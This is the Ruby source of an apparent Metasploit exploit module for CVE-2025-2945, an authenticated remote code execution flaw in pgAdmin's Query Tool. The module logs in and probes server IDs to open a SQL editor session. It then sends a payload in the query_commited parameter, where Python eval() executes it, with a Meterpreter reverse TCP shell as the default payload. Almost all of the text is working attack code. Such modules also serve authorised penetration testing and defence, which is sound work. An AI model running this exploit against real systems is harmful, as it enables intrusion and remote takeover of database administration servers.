📄 PgAdmin Query Tool Authenticated Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::PgAdmin
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'pgAdmin Query Tool authenticated RCE (CVE-2025-2945)',
            'Description' => %q{
              This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool
              and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval()
              statement, resulting in remote code execution in versions prior to 9.2.
    
              To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable
              SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID,
              which is required for the exploit.
            },
            'Author' => [
              'pyozzi-toss', # Vulnerability discovery
              'jheysel-r7'   # msf module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-2945'],
            ],
            'Platform' => ['python'],
            'Arch' => [ ARCH_PYTHON],
            'Targets' => [
              [
                'Python payload',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-04-03',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            Opt::RPORT(80),
            OptString.new('USERNAME', [true, 'The username to authenticate to pgadmin with', '']),
            OptString.new('PASSWORD', [true, 'The password to authenticate to pgadmin with', '']),
            OptString.new('DB_USER', [true, 'The username to authenticate to the database with', '']),
            OptString.new('DB_PASS', [true, 'The password to authenticate to the database with', '']),
            OptString.new('DB_NAME', [true, 'The database to authenticate to', '']),
            OptInt.new('MAX_SERVER_ID', [true, 'The maximum number of Server IDs to try and connect to.', 10]),
          ]
        )
      end
    
      def check
        # Although there is no low bound mentioned in the advisory, we can see that the vulnerable eval() statement was
        # introduced in version 8.10: https://github.com/pgadmin-org/pgadmin4/commit/22cdb86aab5825787a36d149f8e6eb34fb26d817
        check_version('9.2', '8.10')
      end
    
      # Return only the required URI encoded fields in order for the POST request to be successful
      # @return [String] The URI encoded form data for the POST request
      def get_post_data
        URI.encode_www_form({
          'title' => Faker::App.name.downcase,
          'selectedNodeInfo' => {
            'database' => {
              'id' => Faker::App.name.downcase
            }
          }
        })
      end
    
      def post_initialize_sqleditor(trans_id, sgid, sid, did)
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, "/sqleditor/initialize/sqleditor/#{trans_id}/#{sgid}/#{sid}/#{did}"),
          'method' => 'POST',
          'keep_cookies' => true,
          'ctype' => 'application/json',
          'headers' => { 'X-pgA-CSRFToken' => csrf_token },
          'data' => {
            'user' => datastore['DB_USER'],
            'password' => datastore['DB_PASS'],
            'role' => '',
            'dbname' => datastore['DB_NAME']
          }.to_json
        })
    
        unless res&.code == 200
          errmsg = res&.get_json_document&.dig('result', 'errmsg') || 'unknown error'
          fail_with(Failure::UnexpectedReply, "Failed to initialize sqleditor: #{errmsg}")
        end
    
        print_good('Successfully initialized sqleditor')
      end
    
      def find_valid_server_id(sgid)
        (1..datastore['MAX_SERVER_ID']).each do |sid|
          vprint_status("Trying server ID: #{sid}")
          res = send_request_cgi({
            'uri' => normalize_uri(target_uri.path, "/sqleditor/get_server_connection/#{sgid}/#{sid}"),
            'method' => 'GET',
            'keep_cookies' => true,
            'ctype' => 'application/x-www-form-urlencoded',
            'headers' => {
              'X-pgA-CSRFToken' => csrf_token
            }
          })
          if res&.get_json_document&.dig('data', 'status')
            return sid
          end
        end
        fail_with(Failure::NoTarget, 'Failed to find a valid server ID, try increasing MAX_SERVER_ID')
      end
    
      # In order to interact with the vulnerable component, the SQL editor, we need to initialize a session and a valid
      # transaction ID. This is done by sending a POST request to the sqleditor/panel endpoint with the necessary parameters
      # @return [String] The transaction ID for the SQL editor
      def sqleditor_init(trans_id)
        sgid = rand(1..10)
        did = rand(10000..99999)
        sid = find_valid_server_id(sgid)
        post_initialize_sqleditor(trans_id, sgid, sid, did)
      end
    
      def exploit
        authenticate(datastore['USERNAME'], datastore['PASSWORD'])
        trans_id = rand(1_000_000..9_999_999)
        sqleditor_init(trans_id)
    
        print_status('Exploiting the target...')
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, "/sqleditor/query_tool/download/#{trans_id}"),
          'method' => 'POST',
          'ctype' => 'application/json',
          'keep_cookies' => true,
          'headers' => {
            'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/sqleditor/panel/#{trans_id}?is_query_tool=true",
            'X-Pga-Csrftoken' => csrf_token
          },
          'data' => {
            'query_commited' => payload.encoded
          }.to_json
        })
        print_error('No response received from exploit attempt') unless res
        print_good('Received a 500 response from the exploit attempt, this is expected') if res&.code == 500
        print_error("Received an unexpected response code from the exploit attempt: #{res&.code}") if res&.code != 500
      end
    end